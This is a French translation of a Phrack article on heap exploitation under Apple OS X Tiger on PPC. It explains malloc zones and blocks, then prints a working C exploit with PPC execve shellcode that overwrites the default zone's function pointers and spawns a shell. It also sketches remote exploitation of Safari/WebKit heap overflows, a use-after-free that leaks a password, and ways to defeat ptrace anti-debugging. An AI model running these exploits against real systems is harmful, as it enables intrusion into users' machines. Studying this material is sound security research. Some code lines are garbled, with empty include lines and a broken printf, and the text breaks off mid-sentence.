==Phrack Inc.== Volume 0x0b, Édition 0x3f, Article #0x05 sur 0x14 |=-----------=[ Technique d'exploitation du tas sous OS X ]=-------------=| |=-----------------------------------------------------------------------=| |=------------------=[ nemo ]=-------------------=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| --[ Sommaire 1 - Introduction. 2 - Survol du tas en mode utilisateur sous Apple OS X. 2.1 - Variables d'environement. 2.2 - Zones. 2.3 - Blocs. 2.4 - Initialisation du tas. 3 - Un exemple général 4 - Un exemple de la vie réelle 5 - Divers 5.1 - Autour du bogue. 5.2 - Double free(). 5.3 - Défoncer ptrace() 6 - Conclusion 7 - References --[ 1 - Introduction. Cet article est le résultat de mon expérience dans l'exploitation d'un débordement dans le tas dans le navigateur web par défaut (Safari) sur Mac OS X. Il présuppose un toute petite connaissance de l'assembleur PPC. Une référence pour celà est fournie dans la partie référence plus bas. (4). Une connaissance d'autres allocateurs mémoire serait une bonne aide, cependant, elle n'est pas nécessaire. Tout le code dans ce papier a été compilé et testé sur Mac OS X - Tiger (10.4) fonctionnant sur architecture PPC32 (power PC). --[ 2 - Survol du tas en mode utilisateur sous Apple OS X. L'implémentation de malloc qu'on trouve dans la libc-391 d'Apple et avant (au moment ou j'écris cet article) est écrite par Bertrand Serlet. C'est un allocateur mémoire relativement comlexe fait à partir de "zones" de mémoire, qui des portions de mémoire virtuelle de taille variable, et de "blocs" qui sont alloués à partir de ces zones. Il est possible d'avoir plusieurs zones, cependant, la plupart des applications tendent à n'utiliser que la zone principale. Jusqu'ici, cet allocateur mémoire est utilisé dans toutes les version d'OS X jusqu'à présent. Il est aussi utilisé par le projet Open Darwin [8] sur architecture x86, mais ce n'est pas traité par ce papier. Le code source de l'implémentation de malloc() de Apple est disponible à [6]. (La version courante du source, au moment de la rédaction est la 10.4.1). Pour y acceder, vous devez être membre du ADC, qui est en inscription libre. (ou, si vous ne voulez pas vous embêter à vous inscrire, utilisez le login/motdepasse de Bug Me Not [7] ;) ----[ 2.1 - Variables d'environement. On peut changer certaines variables d'environement pour modifier le comportement des fonctions de l'allocateur de mémoire. Celles-ci peuvent être vues en mettant la variable "MallocHelp", et ensuite, en appellant la fonction malloc(). Elles sont aussi montrées dans la page de manuel de malloc(). Nous allons maintenant regarder les variables les plus utiles pour nous quand on exploite un débordement : [ MallocStackLogging ] -:- Quand on défini cette variable, un enregistrement de toutes les opérations de malloc est gardé. Avec la définition de cette variable, les outils de "fuite" peuvent être utilisés pour chercher dans un processus, les buffers réservés par malloc() qui ne sont pas libérés. [ MallocStackLoggingNoCompact ] -:- Quand cette variable est définie, un enregistrement des opérations de malloc est fait de manière à ce que l'outil "malloc_history" puisse les analyser. Cet outil est utilisé pour lister les allocations et désallocations qui ont été faites par le processus. [ MallocPreScribble ] -:- Cette variable d'enviconnement peut être utilisée pour remplir les zones allouées de 0xaa. Ce peut être utile pour voir facilement où les buffers sont localisés en mémoire. Elle peut être utile quand on utilise des script gdb pour fouiller dans le tas. [ MallocScribble ] -:- Cette variable est utilisée pour remplir les zones désallouée par des 0x55. Cette variable, comme MallocPreScribble, est utile pour faciliter l'inspection de l'organisation de la mémoire. C'est aussi utile pour rendre un programme plus succeptible de planter quand il accède aux zones mémoire qu'il n'est pas supposé acceder. [ MallocBadFreeAbort ] -:- Cette variable va générer l'envoi d'un SIGABRT dès que le programme passe à free(), un pointeur qui n'est pas listé comme alloué. Ceci peut être utile pour arreter l'exécution du programme là où l'erreur est arrivée, pour pouvoir chercher ce qu'il s'est passé. NOTE : l'outil "heap" peut être utilisé pour inspecter le tas courant d'un processus. Les zones sont affichées ainsi que d'autres objets qui sont alloués. Cet outil peut être utilisé sans devoir définir de variables d'environement. ----[ 2.2 - Zones. Une simple zone peut être vue comme un simple tas. Quand la zone est détruite, tous les blocs alloués à l'intérieur sont free()és. Les zones permettent de regrouper des blocs qui ont des attributs similaires ensembles. La zone elle-même est décrite par la structure malloc_zone_t (définie dans /usr/include/malloc.h) qui est montrée ci-après : [malloc_zone_t struct] typedef struct _malloc_zone_t { /* Only zone implementors should depend on the layout of this structure; Regular callers should use the access functions below */ void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */ void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */ size_t (*size)(struct _malloc_zone_t *zone, const void *ptr); void *(*malloc)(struct _malloc_zone_t *zone, size_t size); void *(*calloc)(struct _malloc_zone_t *zone, size_t num_items, size_t size); void *(*valloc)(struct _malloc_zone_t *zone, size_t size); void (*free)(struct _malloc_zone_t *zone, void *ptr); void *(*realloc)(struct _malloc_zone_t *zone, void *ptr, size_t size); void (*destroy)(struct _malloc_zone_t *zone); const char *zone_name; /* Optional batch callbacks; these may be NULL */ unsigned (*batch_malloc)(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); void (*batch_free)(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); struct malloc_introspection_t *introspect; unsigned version; } malloc_zone_t; (Bien, techniquement, les zones sont des structures szone_t évolutives, bien que le premier élément d'une structure szone_t consiste en une structure malloc_zone_t. Cette structure est la plus importante pour nous pour nous familiariser avec l'exploitation de bugs dans le tas en utilisant la méthode présentée dans ce papier.) Comme vous pouvez le voir, la structure de zone contient les pointeurs de fonction pour chaque fonction d'allocation/désallocation de mémoire. Ceci devrait vous donner une assez bonne idée de comment on peut controler le flux d'exécution après un débordement. La pluspart des fonctions sont assez auto-explicatives, les pointeurs de fonctions malloc, calloc, valloc, free et realloc font les mêmes genre de choses que sous Linux/BSD. La fonction size est utilisée pour retourner la taille de la mémoire allouée. La focntion destroy() est utilisée pour détruire une zone entière et libérer toute la mémoire allouée à l'intérieur. Les fonctions batch_malloc et batch_free, autant que je les comprenne, sont utilisées pour allouer (ou désallouer) plusieurs blocs de même taille. NOTE : La fonction malloc_good_size() est utilisée pour retourner la taille du buffer après qu'on ai arrondis. Une chose intéressante à noter à propos de cette fonction est qu'elle contien le même problème que mentionné en 5.1. printf("0x%x\n",malloc_good_size(0xffffffff)); Imprimera 0x1000 sur Mac OS X 10.4 (Tiger). ----[ 2.3 - Blocs. L'allocation de blocs se déroule de différentes manières suivant la taille de mémoire requise. La taille de tous les blocs alloués est toujours aligée par paragraphes (un multiple de 16). Et donc, une allocation de moins de 16 en retournera toujours 16, une allocation de 20 en retournera 32. La structure szone_t contient deux pointeurs, pour l'allocation de blocs petits et minuscules. Ce sont les suivants : tiny_region_t *tiny_regions; small_region_t *small_regions; Les allocations de mémoire qui sont plus courtes qu'à peu près 500 octets de long tombent dans la catégorie "tiny" [NDT : minuscule]. Ces allocations sont faites à partir d'une réserve de régions mémoire vm_allocate()ées. Chaqu'une de ces régions consiste en 1Mo, (en mode 32-bits), ou 2Mo (en mode 64-bits) de tas. Donc, il y a quelques meta-données à propos des régions. Les régions sont ordonnées par taille de blocs ascendante. Quand la mémoire est désallouée, elle est replacée dans la réserve. Les blocs libres contiennent les méta-données suivantes : (tous les champs ont une taille de sizeof(void*), sauf pour la "taille" qui est de sizeof(u_short). Les buffers de taille miniscule sont plutôt alignés sur 0x10 octets) - checksum - precedand - suivant - taile Le champ taille contient le compte des quantum de la région. Un quantum représente la taille d'un block de mémoire allouée dans la région. Les allocations dont la taille tombe dans la plage entre 500 octets et la taille de quatres pages virtuelles (0x4000) tombent dans la catégorie "petites". Les allocations mémoires de blocs de tailles catégorisées "petites" sont allouées à partir d'une réserve de petites régions, pointées par le pointeur "small_regions" dans la structure szone_t. Encore une fois, cette zone est pré-allouée par la fonction vm_allocate(). Chaque "petite" région consiste en 8Mo de tas, suivie par les mêmes méta-données que les régions minuscules. Les allocations minuscules et petites ne sont pas toujours garanties d'être allignées par rapport à la page. Si un bloc est alloué qui fait moins que la taille d'une seule page virtuelle, alors, il est évident que le bloc ne peut être aligné sur une page. Les allocations de blocs plus grands (allocations de taille plus grande que quatre pages virtuelles), sont gérées assez différements que les blocs minuscules et petits. Quand un grand bloc est requis, la procédure malloc() utilise vm_allocate() pour obtenir la mémoire requise. Ces allocations plus grandes ont lieu dans la mémoire haute du tas. C'est utile dans les techniques de "destruction du tas", soulignées dans ce papier. Les grands blocs de mémoires sont alloués par multiple de 4096. C'est la taille d'une page mémoire virtuelle. Grace à cela, les grandes allocations sont toujours alignées sur les pages. ----[ 2.4 - Initialisation du tas. Comme vous pouvez le vois plus bas, la fonction malloc() est en gros un enrobage autour de la fonction malloc_zone_malloc(). void *malloc(size_t size) { void *retval; retval = malloc_zone_malloc(inline_malloc_default_zone(), size); if (retval == NULL) { errno = ENOMEM; } return retval; } Elle utilise la fonction inline_malloc_default_zone() pour passez la zone appropriée à malloc_zone_malloc(). Si malloc() est appellé pour la première fois, la fonction inline_malloc_default_zone() appelle _malloc_initialize() pour créerla zone initiale par défaut. la fonction malloc_create_zone() est appellée avec les valeurs (0,0) qui sont passées comme étant le paramètre start_size et les drapeaux. Après ça, les variables d'environnement sont lues (toutes celles commencant par "Malloc"), et analysées pour placer les drapeaux appropriés. Il appelle ensuite la fonction create_scalable_zone() du fichier scalable_malloc.c. Cette fonction est en fait responsable de la création de chaque structure szone_t. Il utillise la fonction allocate_pages() de la façon suivante : szone = allocate_pages(NULL, SMALL_REGION_SIZE, SMALL_BLOCKS_ALIGN, 0, \ VM_MAKE_TAG(VM_MEMORY_MALLOC)); Ceci, à son tour, utilise l'appell système mach_vm_allocate() pour allouer la mémoire requise pour stocker la structure szone_t par défaut. -[Résumé] : Pour les techniques contenues dans ce papier, le plus important à noter est que la structure szone_t est installée en mémoire. La structure contient quelques pointeurs de fonctions qui sont utiliser pour enregistrer l'adresse de chacune des fonctions d'allocation et de désallocation appropriées. Quand un bloc de mémoire est alloué et fait partie de la catégorie "grand", l'appel système mach_vm_allocate() est utilisé pour alloué la mémoire pour le bloc. --[ 3 - Un exemple général Avant d'aller regarder comment exploiter un débordement dans le tas, nous allons d'abord analyser comment la structure de zone initiale est étalée dans la mémoire d'un processus qui fonctionne. Pour le faire, nous utiliserons gdb pour déboguer un petit programme d'exemple. Il est montré ci-après : -[nemo@gir:~]$ cat > mtst1.c #include int main(int ac, char **av) { char *a = malloc(10); __asm("trap"); char *b = malloc(10); } -[nemo@gir:~]$ gcc mtst1.c -o mtst1 -[nemo@gir:~]$ gdb ./mtst1 GNU gdb 6.1-20040303 (Apple version gdb-413) (gdb) r Starting program: /Users/nemo/mtst1 Reading symbols for shared libraries . done Une fois que nous recevons le signal SIGTRAP et retournons au shell de commandes de gdb, nous pouvons alors utiliser les commandes montrées juste après pour localiser notre structure szone_t initiale dans la mémoire du processus. (gdb) x/x &initial_malloc_zones 0xa0010414 : 0x01800000 Cette valeur, comme on peut s'y attendre dans gdb, est montrée comme valant 0x01800000. Si nous copions la mémoire à cet endroit, nous pouvons voir, comme prévu, chacun des champs de la structure _malloc_zone_t. NOTE : La sortie a été re-formatée pour plus de clareté. (gdb) x/x (long*) initial_malloc_zones 0x1800000: 0x00000000 // Reserved1. 0x1800004: 0x00000000 // Reserved2. 0x1800008: 0x90005e0c // pointeur size(). 0x180000c: 0x90003abc // pointeur malloc(). 0x1800010: 0x90008bc4 // pointeur calloc(). 0x1800014: 0x9004a9f8 // pointeur valloc(). 0x1800018: 0x900060ac // pointeur free(). 0x180001c: 0x90017f90 // pointeur realloc(). 0x1800020: 0x9010efb8 // pointeur destroy(). 0x1800024: 0x00300000 // Nom de la zone //("DefaultMallocZone"). 0x1800028: 0x9010dbe8 // pointeur batch_malloc(). 0x180002c: 0x9010e848 // pointeur batch_free(). Dans cette structure, on peut voir chacun des pointeurs de fonctions qui sont appellés pour chacune des fonctions d'allocation/désalocation de mémoire effectuées en utilisant la zone par défaut. Ainsi qu'un pointeur vers le nom de la zone, qui peut être utile pour déboguer. Si nous changeons le pointeurs vers la fonction malloc(), et continuons notre exemple de programme (montré juste après), nous pouvons voir qu'un deuxième appel à la fonction malloc() donnera un saut vers l'adresse spécifiée. (Après alignement de l'instruction). (gdb) set *0x180000c = 0xdeadbeef (gdb) jump *($pc + 4) Continuing at 0x2cf8. Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec 0xdeadbeec in ?? () (gdb) Mais est-ce vraiment faisable d'écrire directement à l'adresse 0x1800000 ? (ou 0x2800000 en dehors de gdb). Nous allons maintenant regarder à cela. Tout d'abord, nous devons vérifier les adresses d'allocations de tailles variables obtenues. L'allocation de chaque buffer dépend de la catégorie mentionnées plus haut dans laquelle la taille de l'allocation tombe (minuscule, petite, grande). Pour tester l'endroit de chacune d'entre elles, nous pouvons simplement compiler et lancer le programme d'exemple en C suivant comme suit : -[nemo@gir:~]$ cat > mtst2.c #include #include int main(int ac, char **av) { extern *malloc_zones; printf("initial_malloc_zones @ 0x%x\n",*malloc_zones); printf("tiny: %p\n",malloc(22)); printf("small: %p\n",malloc(500)); printf("large: %p\n",malloc(0xffffffff)); return 0; } -[nemo@gir:~]$ gcc mtst2.c -o mtst2 -[nemo@gir:~]$ ./mtst2 initial_malloc_zones @ 0x2800000 tiny: 0x500160 small: 0x2800600 large: 0x26000 D'après cette sortie, on peut voir qu'il ne sera possible d'écrire dans la structure initial_malloc_zones qu'à partir d'un buffer "minuscule" ou "petit". En plus, pour écraser les pointeurs de fonctions contenu dans cette structure, nous devons écrire une quantité considérable de données en détruisant complètement des sections de cette zone. Heureusement, il existe plein de situations dans des logiciels typiques qui permettent de réunir ces critères. C'est discuté dans la dernière section de ce papier. Maintenant que nous comprennont un peut mieux l'organisation du tas, nous pouvons utiliser un petit programme d'exemple pour écraser les pointeurs de fonction contenus dans la structure pour récupérer un shell. Le programme suivant alloue un buffer "minuscule" de 22 octets. Il utilise ensuite memset() pour écrire des 'A' jusqu'au pointeur de malloc() dans la structure, avant de rappeller malloc(). #include #include #include int main(int ac, char **av) { extern *malloc_zones; char *tmp,*tinyp = malloc(22); printf("[+] tinyp is @ %p\n",tinyp); printf("[+] initial_malloc_zones is @ %p\n", *malloc_zones); printf("[+] Copying 0x%x bytes.\n", (((char *)*malloc_zones + 16) - (char *)tinyp)); memset(tinyp,'A', (int)(((char *)*malloc_zones + 16) - (char *)tinyp)); tmp = malloc(0xdeadbeef); return 0; } Cependant, quand nous compilons et lançons ce programme, un signal EXC_BAD_ACCESS est reçu. (gdb) r Starting program: /Users/nemo/mtst3 Reading symbols for shared libraries . done [+] tinyp is @ 0x300120 [+] initial_malloc_zones is @ 0x1800000 [+] Copying 0x14ffef0 bytes. Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x00405000 0xffff9068 in ___memset_pattern () C'est du au fait que, entre le pointeur tinyp et le pointeur vers la fonction malloc que nous essayons d'écraser, il y a quelques zones non chargées. Pour passer outre ce problème, nous pouvons utiliser le fait que les blocs de mémoire alloué qui tombent dans la catégorie "grand" sont alloués en utilisant l'appel système vm_allocate. Si nous pouvons récupérer assez de mémoire allouée dans la catégorie des grands, avant que le débordement n'ai lieu, nous devrions avoir un chemin dégagé vers le pointeur. Pour illustrer ce point, nous pouvons utiliser le code suivant : #include #include #include #include char shellcode[] = // Shellcode by b-r00t, modified by nemo. "\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02" "\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60" "\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" "\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78" "\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68"; extern *malloc_zones; int main(int ac, char **av) { char *tmp, *tmpr; int a=0 , *addr; while ((tmpr = malloc(0xffffffff)) <= (char *)*malloc_zones); // small buffer addr = malloc(22); printf("[+] malloc_zones (first zone) @ 0x%x\n", *malloc_zones); printf("[+] addr @ 0x%x\n",addr); if ((unsigned int) addr < *malloc_zones) { printf("[+] addr + %u = 0x%x\n", *malloc_zones - (int) addr, *malloc_zones); exit(1); } printf("[+] Using shellcode @ 0x%x\n",&shellcode); for (a = 0; a <= ((*malloc_zones - (int) addr) + sizeof(malloc_zone_t)) / 4; a++) addr[a] = (int) &shellcode[0]; printf("[+] finished memcpy()\n"); tmp = malloc(5); // execve() } Ce code alloue suffisement de "grands" blocs de mémoire (0xffffffff) avec lesquels labourer un chemin dégagé vers le pointeur de fonction. Il recopie alors l'adresse du shellcode dans la mémoire à travers la zone avant d'écraser les pointeurs de fonctions dans la structure szone_t. enfin, un appel à malloc() est fait pour déclancher l'exécution du shellcode. Comme vous pouvez le voir juste après, ce code fonctionne comme nous l'avions prévu et notre shellcode est exécuté. -[nemo@gir:~]$ ./heaptst [+] malloc_zones (first zone) @ 0x2800000 [+] addr @ 0x500120 [+] addr + 36699872 = 0x2800000 [+] Using shellcode @ 0x3014 [+] finished memcpy() sh-2.05b$ Cette méthode a été testée sous OS X de Apple en version 10.4.1 (Tiger). --[ 4 - Un exemple de la vie réelle Le navigateur web par défaut sous OS X (Safari) ainsi que le client mail (Mail.app), Dashboard et presque toutes les autres applications sous OS X qui nécessite des fonctionnalités d'analyse lexicales du web le font via une librairie qu'Apple appelle "WebKit". (2) Cette librairie contient beaucoup de bogues, dont la pluspart sont exploitables en utilisant cette technique. Une attention particulière devrait être donnée au code qui permet d'afficher les blocs
;) Grace à la nature des pages HTML, un attaquant a l'opportunité de contrôler le tas de plein de manières différentes avant de lancer effectivement l'exploit. Pour pouvoir utiliser les techniques décrites dans cet article pour exploiter ces bogues, nous pouvons créer un peu de code HTLM, ou un fichier image, pour effectuer plein de grandes allocations et donc, tailler un chemin vers nos pointeurs de fonctions. Nous pouvons alors déclancher l'un des nombreux débordements pour écrire l'adresse de notre shellcode dans le pointeur de fonction avant d'attandre qu'un shell apparaisse. Un des bogues que j'ai exploité en utilisant cette technique particulière implique qu'une longueur non-vérifiée est utilisée pour allouer et remplir un objet en mémoire avec des octets nuls (\x00). Si nous nous débrouillons pour calculer l'écriture pour qu'elle s'arrette à la moitié d'un de nos pointeurs de fonction dans la structure szone_t, nous pouvont en fait tronquer le pointeur, obligeant l'exécution à sauter ailleur. La première étape pour exploiter ce bug est de lancer le débogueur (gdb) et de regarder quelles options s'offrent à nous. Une fois que nous avons chargé Safari dans le débogueur, la première chose que nous devons vérifier pour que l'exploit réussisse est que nous avont un chemin libre vers la structure initial_malloc_zone. Pour le faire avec gdb, nous pouvons placer un point d'arret sur le point de retour de la fonction malloc(). Nous utilisons la commande "disass malloc" pour voir le code assembleur de la fonction malloc. La fin de ce code est montrée ici : ..... 0x900039dc : lwz r0,8(r1) 0x900039e0 : lmw r24,-32(r1) 0x900039e4 : lwz r11,4(r1) 0x900039e8 : mtlr r0 0x900039ec : .long 0x7d708120 0x900039f0 : blr 0x900039f4 : .long 0x0 L'instruction "blr" vue à l'adresse 0x900039f0 est l'instruction de "branch to link register". Cette instruction est utilisée pour le retour de malloc(). Les fonctions sous architecture PPC sous OS X passent leur valeur de retour à la fonction appellante par le registre "r3". Pour être sur que les adresses malloc()ées ont atteint les adresses de notre zone de structure, nous pouvons mettre un point d'arret sur cette instruction et sortir les valeurs qui vont être retournées. Nous pouvons faire cela avec les commandes gdb suivntes : (gdb) break *0x900039f0 Breakpoint 1 at 0x900039f0 (gdb) commands Type commands for when breakpoint 1 is hit, one per line. End with a line saying just "end". >i r r3 >cont >end Nous pouvons alors continuer l'exécution et recevoir un compte rendu en direct de toutes les allocations qui ont eu lieu dans notre programme. De cette manière, nous pourrons voir quand notre cible sera atteinte. L'outil "heap" peut aussi être utilisé pour voir la taille et le nombre de chaque allocation. Il y a plein de méthodes qui peuvent être utilisées pour placer la pile correctement pour son exploitation. Une méthode suggérée par andrewg, est d'utiliser une image png pour contrôler la taille des allocations qui auront lieu. Apparement, cette méthode a été étudiée à partir de zen-parse quand il exploitait une bug de mozilla dans le passé. La méthode que j'ai utilisé est de créer une page HTML en y répétant des triggers [NDT : déclancheurs] vers le débordement avec des tailles variables. Après avoir jouer avec ça pendant un moment, il a été possible de régulièrement allouer assez de mémoire pour que l'overflow ai lieu. Une fois que la limite est atteinte, il est possible de déclancher le débordement d'une manière qui écrase les quelques premiers octets de n'importe quel pointeur dans la structure szone_t. À cause de la nature big endian des architectures PPC (par défaut. Elle peut être changée.) les quelques premiers octets du pointeur font toutes la différence et notre pointeur tronqué va maintenant pointé vers le segment .TEXT. La sortie de gdb suivante montre notre structure initial_malloc_zones après que le tas ai été cassée. (gdb) x/x (long )*&initial_malloc_zones 0x1800000: 0x00000000 // Reserved1. (gdb) 0x1800004: 0x00000000 // Reserved2. (gdb) 0x1800008: 0x00000000 // size() pointer. (gdb) 0x180000c: 0x00003abc // malloc() pointer. (gdb) ^^ smash stopped here. 0x1800010: 0x90008bc4 Comme on peut le voire, le pointeur vers malloc() pointe maitenant quelque part dans le segment .TEXT, et le prochain appel à malloc() nous y emènrea. Nous pouvons utiliser gdb pour voir l'instruction à cette adresse. Comme on peut le voir dans l'exemple suivant : (gdb) x/2i 0x00003abc 0x3abc: lwz r4,0(r31) 0x3ac0: bl 0xd686c Ici, on peut voir que le registre r31 doit contenir une adresse mémoire valide pour un commencement, ensuite, la fonction dyld_stub_objc_msgSend() est appellée en utilisant l'instruction "bl" (branch updating link register). Encore une fois, nous pouvons voire les instructions de cette fonction. (gdb) x/4i 0xd686c 0xd686c : lis r11,14 0xd6870 : lwzu r12,-31732(r11) 0xd6874 : mtctr r12 0xd6878 : bctr On peut voir que r11 doit être une adresse mémoire valide. Une Autre pour que les deux instructions (0xd6874 et 0xd6878) mettent la valeur dans le registre r2 puis vers le registre de controle avant de s'y brancher. C'est l'équivalent de sauter vers un pointeur de fonction centenu dans r12. Étonnement, cette construction de code est exactement ce dont nous avons besoin. Donc, tout ce dont nous avons besoin pour exploiter cette vulnérabilité, maintenant, est de trouver l'endroit dans le binaire, où le registre r12 est contrôlé par l'utilisateur directement avant l'appelle à la fonction malloc. Bien que ça ne soit pas terriblement facile à trouver, il existe. Cependant, si ce code n'est pas exécuté avant l'un des pointeurs contenu dans la pile (maintenant cassée) utilisée, le programme va le plus surement planter avant de nous laisser une chance de voler le flux d'exécution. À cause de ça, et à cause de la difficulté de prévoire l'exacte valeur avec laquelle casser la pile, l'exploitation de cette vulnérabilité peut être très peu fiable, cependant, elle peut être faite à coup sûr. Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec 0xdeadbeec in ?? () (gdb) Un exploit pour cette vulnérabilité signifie qu'un email ou un siteweb forgé est tout ce dont on a besoin pour exploiter à distance un utilisateur d'OS X. Apple a été contacté à propos d'un paquet de ces bogues et ils sont actuellement en train de travailler pour les résoudres. La librairie WebKit est open source et disponible au téléchargmeent, apparement, il ne prendra plus trop de temps avant que les téléphones Nokia n'utilisent cette librairie pour leurs applications web. [5] --[ 5 - Divers Cette section montre une série de situations / obersvations à propos de l'allocateur de mémoire qui ne rentraient pas dans une autre section. ----[ 5.1 - Autour du bogue. L'exemple dans ce papier alloue la valeur 0xffffffff. Cependant cette quantité n'est pas techniquement allouable techniquement à chaque fois pour une implémentation de malloc. La raison que ça fonctionne quand même est due à un bogue subtile qui existe dans la fonction vm_allocate du noyau Darwin. Cette fonction tente d'arrondir la taille désirée à la valeur la plus proche alignée sur la valeur d'une page. Cependant, il l'accomplis en utilisant la macro vm_map_round_page() macro (montrée juste après). #define PAGE_MASK (PAGE_SIZE - 1) #define PAGE_SIZE vm_page_size #define vm_map_round_page(x) (((vm_map_offset_t)(x) + \ PAGE_MASK) & ~((signed)PAGE_MASK)) On peut voir que la taille de page moins un est simplement ajoutée à la valeur qui va être arrondie avant d'y faire un ET logique (bits à bits) avec l'inverse du PAGE_MASK. L'effet de cette macro, quand on arrondis des grandes valeurs, peut être illustré avec le code suivant : #include #define PAGEMASK 0xfff #define vm_map_round_page(x) ((x + PAGEMASK) & ~PAGEMASK) int main(int ac, char **av) { printf("0x%x\n",vm_map_round_page(0xffffffff)); } Une fois lancé (juste après) on peut voir que la valeur 0xffffffff est arrondie à 0 -[nemo@gir:~]$ ./rounding 0x0 Juste après que l'arrondis ai lieu dans vm_allocate(), Une vérification est faite que l'arrondis soit différent de zéro. Si c'est zéro, alors, on y ajoute la taille d'une page. Laissant une simple page d'allouée. map_size = vm_map_round_page(size); if (map_addr == 0) map_addr += PAGE_SIZE; Le code suivant démontre l'effet de ceci sur deux appels à malloc().c(). #include #include int main(int ac, char **av) { char *a = malloc(0xffffffff); char *b = malloc(0xffffffff); printf("B - A: 0x%x\n", b - a); return 0; } Quand ce programme est compilé et lancé (ci-après), on peut voir que, bien que le programme croie qu'il ai maintenant 4Go de buffer, une simple page a été allouée. -[nemo@gir:~]$ ./ovrflw B - A: 0x1000 Ceci veut dire que la plupart des situations où une longueur spécifiée par l'utilisateur est passée à la fonction malloc(), avant d'y copier les données, sont exploitables. Le bogue m'a été indiqué par duke. ----[ 5.2 - Double free(). L'allocateur de Bertrand garde trace des adresse qui sont actuellement allouées. Quand un buffer est free()é, la fonction find_register_zone() est utilisée pour être sur que l'adresse considérée par free() existe dans l'une des zones. C'est montré dans le code suivant : void free(void *ptr) { malloc_zone_t *zone; if (!ptr) return; zone = find_registered_zone(ptr, NULL); if (zone) { malloc_zone_free(zone, ptr); } else { malloc_printf("*** Deallocation of a pointer not malloced: %p; " "This could be a double free(), or free() called " "with the middle of an allocated block; " "Try setting environment variable MallocHelp to see " "tools that help to debug\n", ptr); if (malloc_free_abort) abort(); } } Ceci montre qu'une adresse free()ée deux fois (double free) ne va en fait pas être free()ée la deuxième fois. Rendant plus dur l'exploitation des doubles free() par cette manière. Cependant, quand un buffer est alloué avec la même taille que le précédent buffer free()é, mais que le pointeur vers le buffer free()é existe toujours et utilisé, une condition d'exploitations peut apparaître. Le petit programme d'exemple suivant montre un pointeur alloué et free()é, et ensuite un autre pointeur alloué pour la même taille. Et ensuite, free()é deux fois. #include #include #include int main(int ac, char **av) { char *b,*a = malloc(11); printf("a: %p\n",a); free(a); b = malloc(11); printf("b: %p\n",b); free(b); printf("b: %p\n",a); free(b); printf("a: %p\n",a); return 0; } Quand nous compilons et lançons ce code, comme montré après, nous voyons que le pointeur "a" pointe toujours à la même adresse que "b", même après qu'il ai été free()é. Si cette condition apparaît et que nous sommes capables d'écrire ou de lire à partir du pointeur "a", nous pourront être capable de l'exploiter dans une fuite d'information ou dans le gain du contrôle de l'exécution. -[nemo@gir:~]$ ./dfr a: 0x500120 b: 0x500120 b: 0x500120 tst(3575) malloc: *** error for object 0x500120: double free tst(3575) malloc: *** set a breakpoint in szone_error to debug a: 0x500120 J'ai écrit un simple programme d'exemple pour expliquer plus clairement comment ça marche. Le code suivant lit le nom d'utilisateur et le mot de passe entré par un utilisateur. Il compare alors le mot de passe à celui stocké dans le fichier ".skrt". Si le mot de passe est le même, le code secret est révélé. Sinon, une error est imprimée, informant l'utilisateur que son mot de passe est incorect. #include #include #include #include #define PASSWDFILE ".skrt" int main(int ac, char **av) { char *user = malloc(128 + 1); char *p,*pass = "" ,*skrt = NULL; FILE *fp; printf("login: "); fgets(user,128,stdin); if (p = strchr(user,'\n')) *p = 'x00'; // If the username contains "admin_", exit. if(strstr(user,"admin_")) { printf("Admin user not allowed!\n"); free(user); fflush(stdin); goto exit; } pass = getpass("Enter your password: "); exit: if ((fp = fopen(PASSWDFILE,"r")) == NULL) { printf("Error loading password file.\n"); exit(1); } skrt = malloc(128 + 1); if (!fgets(skrt,128,fp)) { exit(1); } if (p = strchr(skrt,'\n')) *p = '\x00'; if (!strcmp(pass,skrt)) { printf("The combination is 2C,4B,5C\n"); } else { printf("Password Rejected for %s, please try again\n"); user); } fclose(fp); return 0; } Quand nous compilons le programme et entrons un mot de passe incorect, nous voyons les messages suivants : -[nemo@gir:~]$ ./dfree login: nemo Enter your password: Password Rejected for nemo, please try again. Cependant, si la chaine "admin_" est détectée dans la chaine, le buffer user est free()é. Le buffer skrt est alors retourné par malloc(), pointant le même block bloc de mémoire alloué que le pointeur user. Ceci devrait normalement être gentil, cependant, le buffer user est utilisé par la fonction printf() appelée à la fin de la fonction. Parce que le pointeur user pointe toujours à la même adresse que skrt, ceci cause une fuite d'informations et le mot de passe secret est imprimé, comme on le voit sur la sortie suivante : -[nemo@gir:~]$ ./dfree login: admin_nemo Admin user not allowed! Password Rejected for secret_password, please try again. Nous pouvons alors utiliser ce mot de passe pour récupérer la combinaison : -[nemo@gir:~]$ ./dfree login: nemo Enter your password: The combination is 2C,4B,5C ----[ 5.3 - Défoncer ptrace() Safari utilise l'appel système ptrace() pour tenter d'arreter les méchants hackers de déboguer son code propriétaire. ;). L'extrait de la page de manuel suivante montre un drapeau de ptrace() qui peut être utilisé pour empêcher les gens de pouvoir déboguer votre code. PT_DENY_ATTACH This request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; oth- erwise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent. [ NDT : Cette requête est l'autre opération utilisée par les processus tracés ; elle permet à un processus qui n'est pas encore tracé de refuser les futur traçages par ses parents. Tous les autres arguments sont ignorés. Si le processus est déjà tracé, il va sortir avec le code de retour ENOTSUP ; sinon, il place le drapeau qui interdit les traçages futurs. Un parent qui tenterai de tracer un processus qui a placé ce drapeau résultera en une 